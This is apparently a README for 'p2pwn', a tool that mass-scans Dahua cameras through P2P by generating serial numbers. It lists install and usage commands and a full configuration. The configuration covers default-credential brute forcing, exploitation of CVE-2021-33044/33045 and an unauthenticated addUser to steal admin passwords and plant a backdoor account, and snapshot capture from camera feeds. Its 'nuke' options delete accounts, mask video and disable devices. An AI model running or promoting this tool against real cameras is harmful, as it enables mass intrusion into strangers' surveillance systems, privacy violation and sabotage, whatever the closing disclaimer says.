
DahuaカメラのP2P経由セキュリティスキャナー

CGI, SDKType 0/1 デバイス対応Go経由:
go install github.com/thebadinteger/p2pwn@main
ソースからビルド:
git clone https://github.com/thebadinteger/p2pwn.git
cd p2pwn
go build
または、Releases page から最新のバイナリをダウンロードしてください。
./p2pwn -i [input] -o [output] -t [threads] (-c [config]) (--nuke) (--debug)
[-i, --input] Input file or specific target(s)
Format:
XXXXXXXXXX > Prefix
XXXXXXXXXXYYYYY > S/N
others > csv,xml,dhscp,folders
[-o, --output] Output folder for results
Default > DD-MM-YYYY_HH-MM-SS
If doesn't exist, will be created
[-t, --threads] Number of threads for scanning
Default > 100
[-c, --config] Path to config file
Default > config.toml
[-n, --nuke] Use destructive options
[-d, --debug] Log everything
[-?, -h, --help] Get general help
入力形式:
S/N またはプレフィックス
XXXXXXXXXX
XXXXXXXXXXYYYYY
XXXXXXXXXX,XXXXXXXXXXYYYYY
または csv,xml,dhscp,folders
出力形式:
pwned.csv:
sn,model,login,password,channels,ip,vuln
import_*.xml:
(1ファイルあたり最大64デバイス)
<?xml version="1.0" encoding="UTF-8"?>
<DeviceManager version="2.0">
<Device name="{serial}" domain="{serial}" port="37777" username="{login}" password="{encryptedpass}" protocol="1" connect="19" />
</DeviceManager>
snapshots/:
特殊なパスワード文字はファイル名に表示されません
{serial}_{login}_{password}_{model}_{channel(s)}.jpg
config.toml設定では、スキャンとペネトレーションテストを構成し、チェックメソッドを有効または無効にできます。
デフォルト設定:
[scan] # Scan configuration
timeout = 5000 # Connection timeout in milliseconds
retries = 3 # Number of retries on connect
generate = 1048576 # How many S/N to generate on prefix (1-1048576)
nurses = 200 # Number of workers for checking online S/N
governor = true # Enable/disable governor
maxrps = 3000 # Cap on concurrent online/offline checks
[pwn] # Usage of different protocols and methods
protocol.cgi = true # Web CGI protocol
protocol.sdk = true # 37777 SDK protocol
protocol.type1 = true # Type 1 protocol
methods.brute = true # Credentials bruteforce
methods.cve-2021-33044 = true # CVE-2021-33044
methods.cve-2021-33045 = true # CVE-2021-33045
methods.uau = true # Unauthenticated addUser
[image]
snapshot = true # Take snapshots
all = false # Take snapshots from all channels
cgi = true # Take snapshots with CGI
sdk = true # Take snapshots with SDK
rtsp = true # Take snapshots with RTSP
[brute] # Bruteforce configuration
type1.delay = 20 # Type 1 brute attempts delay in seconds
credentials = [
{ login = "admin", password = "admin" },
{ login = "admin", password = "admin123" },
{ login = "admin", password = "admin12345" },
{ login = "666666", password = "666666" },
{ login = "888888", password = "888888" },
] # Credentials list or '/path/to/wordlist' > login:password
[dummy] # Credentials for added dummy account
login = "p2pwn" # 5-32 alphanumeric characters
password = "p2password" # 8-32 alphanumeric characters
memo = "p2pwn" # Account note up to 32 characters
[overlay] # Custom overlay configuration
osd = false # Set OSD on pwned devices
channel = "p2pwn" # ChannelTitle (max 32 char)
custom = [
"p2pwned",
"device is vulnerable"
] # CustomTitle (up to 5 lines, max 22 char per line)
color.front = [255, 255, 255, 255] # OSD front color R G B A (0-255)
color.back = [0, 0, 0, 128] # OSD back color R G B A (0-255)
[nuke] # Experimental destructive options
delete = false # Delete all accounts except admin and dummy
video = 50 # Set all video settings to specified number (0-100)
box = false # Add box masks
coordinates.box = [
[3383, 2047, 4649, 6245],
[2620, 6145, 5362, 7411]
] # Box masks x1 y1 x2 y2 (up to 5 boxes)
disable = false # Disable P2P on the device when done
ヒント:
nurses - 値を大きくするほどS/Nチェック(オンライン/オフライン)が高速になるが、パケット数が増えるmaxrps - 同時オンライン/オフラインチェック数の上限(値を大きくするほど高速)snapshot - スナップショットを取得する(無効にするとスキャンを高速化できる)all - 最初のチャネルだけでなく、すべてのチャネルからスナップショットを取得するprotocol.cgi - CVEチェックとブルートフォースが可能protocol.sdk - ブルートフォースのみ可能(NVRをスキャンしない場合は無効にするとスキャンを高速化できる)protocol.type1 - ブルートフォースのみ可能(Type 1デバイスをスキャンしない場合は無効にするとスキャンを高速化できる)methods.cve-2021-33044 - 管理者認証情報を抽出し、ダミーアカウントを追加する(フォールバック)methods.cve-2021-33045 - 管理者認証情報を抽出し、ダミーアカウントを追加する(フォールバック)methods.uau - ダミーアカウントを追加するtype1.delay - Type 1ブルートフォース試行の遅延(秒)(変更は推奨しない)channel - OSDオーバーレイ用のカスタムチャネルタイトル(変更しない場合は空のままにする)custom - カスタムOSDオーバーレイテキスト(変更しない場合は空のままにする)[nuke] - 実験的な破壊的オプション、使用禁止(--nukeフラグを指定した場合のみ動作する)作成者: badinteger [GPL v3.0 License]
特別な感謝: THANKS.md
このソフトウェアは、教育および許可されたテスト目的でのみ使用することを意図しています。
作者は、あなたの行為、またはソフトウェアによって引き起こされるいかなる誤用や損害についても責任を負いません。